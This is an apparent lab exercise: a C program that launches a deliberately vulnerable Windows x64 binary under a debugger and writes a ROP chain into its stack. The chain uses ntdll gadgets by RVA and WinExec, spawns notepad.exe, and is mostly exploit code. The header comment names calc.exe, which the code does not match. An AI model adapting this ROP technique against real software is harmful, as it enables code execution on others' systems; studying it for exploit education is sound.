140 lines
5.5 KiB
C
140 lines
5.5 KiB
C
// Debugger-assisted ret2libc for bof_noASLR_noCANARY.exe (x86-64, DEP always on for x64).
|
|
//
|
|
// copy() does strcpy(buffer, argv[1]); a plain strcpy-delivered payload can carry
|
|
// at most ONE 8-byte pointer (every usermode x64 address has a null top byte, and
|
|
// strcpy stops at the first \0). We need 3 pointers (two ntdll gadgets + WinExec),
|
|
// so instead we launch the target as our own debuggee, let the harmless placeholder
|
|
// argv[1] overflow the saved return address as usual, then - right before the `ret`
|
|
// in copy() executes - patch the stack ourselves via WriteProcessMemory, which has
|
|
// no null-byte restriction at all.
|
|
//
|
|
// Stack layout written at BUF_ADDR (buffer's address, fixed since ASLR is off):
|
|
// [0..7] "calc.exe"
|
|
// [8] 0x00
|
|
// [56..63] &(pop rcx; ret) <- overwritten saved return address
|
|
// [64..71] BUF_ADDR <- popped into RCX (&"calc.exe")
|
|
// [72..79] &(pop rdx; pop r11; ret)
|
|
// [80..87] 1 <- popped into RDX (SW_SHOWNORMAL)
|
|
// [88..95] 0 <- popped into R11 (unused)
|
|
// [96..103]&WinExec <- final ret target
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
#define TARGET_EXE "bof_noASLR_noCANARY.exe"
|
|
#define RET_INSN_ADDR ((LPVOID)(ULONG_PTR)0x000000014000729dULL)
|
|
#define BUF_ADDR ((ULONG_PTR)0x0000000000014fe80ULL)
|
|
#define RET_OFFSET 56
|
|
|
|
// RVAs inside ntdll.dll (constant across reboots; only ntdll's load base moves)
|
|
#define POP_RCX_RET_RVA 0x1a853
|
|
#define POP_RDX_POP_R11_RET_RVA 0x8cc27
|
|
|
|
int main(void) {
|
|
char placeholder[71];
|
|
memset(placeholder, 'A', 70);
|
|
placeholder[70] = '\0';
|
|
|
|
char cmdline[256];
|
|
snprintf(cmdline, sizeof(cmdline), "%s %s", TARGET_EXE, placeholder);
|
|
|
|
STARTUPINFOA si;
|
|
PROCESS_INFORMATION pi;
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
ZeroMemory(&pi, sizeof(pi));
|
|
|
|
if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
|
|
DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) {
|
|
printf("[-] CreateProcess failed: %lu\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
|
|
if (!hNtdll || !hK32) {
|
|
printf("[-] failed to resolve module handles\n");
|
|
return 1;
|
|
}
|
|
|
|
ULONG_PTR ntdllBase = (ULONG_PTR)hNtdll;
|
|
ULONG_PTR popRcxRet = ntdllBase + POP_RCX_RET_RVA;
|
|
ULONG_PTR popRdxR11Ret = ntdllBase + POP_RDX_POP_R11_RET_RVA;
|
|
ULONG_PTR winExec = (ULONG_PTR)GetProcAddress(hK32, "WinExec");
|
|
|
|
printf("[*] ntdll base: 0x%p\n", (void*)ntdllBase);
|
|
printf("[*] pop rcx;ret: 0x%p\n", (void*)popRcxRet);
|
|
printf("[*] pop rdx;r11;ret: 0x%p\n", (void*)popRdxR11Ret);
|
|
printf("[*] WinExec: 0x%p\n", (void*)winExec);
|
|
|
|
BYTE origByte = 0;
|
|
SIZE_T bytesIO;
|
|
BOOL patched = FALSE;
|
|
DEBUG_EVENT dbg;
|
|
|
|
while (WaitForDebugEvent(&dbg, INFINITE)) {
|
|
DWORD contStatus = DBG_CONTINUE;
|
|
|
|
if (dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) {
|
|
ReadProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
|
|
BYTE int3 = 0xCC;
|
|
WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &int3, 1, &bytesIO);
|
|
FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);
|
|
if (dbg.u.CreateProcessInfo.hFile) CloseHandle(dbg.u.CreateProcessInfo.hFile);
|
|
}
|
|
else if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) {
|
|
EXCEPTION_RECORD *er = &dbg.u.Exception.ExceptionRecord;
|
|
|
|
if (!patched && er->ExceptionCode == EXCEPTION_BREAKPOINT &&
|
|
er->ExceptionAddress == RET_INSN_ADDR) {
|
|
|
|
patched = TRUE;
|
|
printf("[+] hit breakpoint at copy()'s ret, patching stack...\n");
|
|
|
|
WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO);
|
|
FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1);
|
|
|
|
CONTEXT ctx;
|
|
memset(&ctx, 0, sizeof(ctx));
|
|
ctx.ContextFlags = CONTEXT_ALL;
|
|
GetThreadContext(pi.hThread, &ctx);
|
|
ctx.Rip = (DWORD64)(ULONG_PTR)RET_INSN_ADDR;
|
|
SetThreadContext(pi.hThread, &ctx);
|
|
|
|
const char *cmd = "notepad.exe";
|
|
BYTE chain[104];
|
|
memset(chain, 0, sizeof(chain));
|
|
memcpy(chain, cmd, strlen(cmd) + 1);
|
|
|
|
ULONG_PTR *p = (ULONG_PTR*)(chain + RET_OFFSET);
|
|
p[0] = popRcxRet;
|
|
p[1] = BUF_ADDR;
|
|
p[2] = popRdxR11Ret;
|
|
p[3] = 1;
|
|
p[4] = 0;
|
|
p[5] = winExec;
|
|
|
|
WriteProcessMemory(pi.hProcess, (LPVOID)BUF_ADDR, chain, sizeof(chain), &bytesIO);
|
|
FlushInstructionCache(pi.hProcess, (LPVOID)BUF_ADDR, sizeof(chain));
|
|
|
|
printf("[+] chain injected (%zu bytes written), resuming...\n", (size_t)bytesIO);
|
|
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
|
|
continue;
|
|
}
|
|
}
|
|
else if (dbg.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) {
|
|
printf("[*] target exited, code=%lu\n", dbg.u.ExitProcess.dwExitCode);
|
|
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE);
|
|
break;
|
|
}
|
|
|
|
ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, contStatus);
|
|
}
|
|
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
Sleep(2000); // give WinExec's spawned child a moment to finish before we (and our job tree) exit
|
|
return 0;
|
|
}
|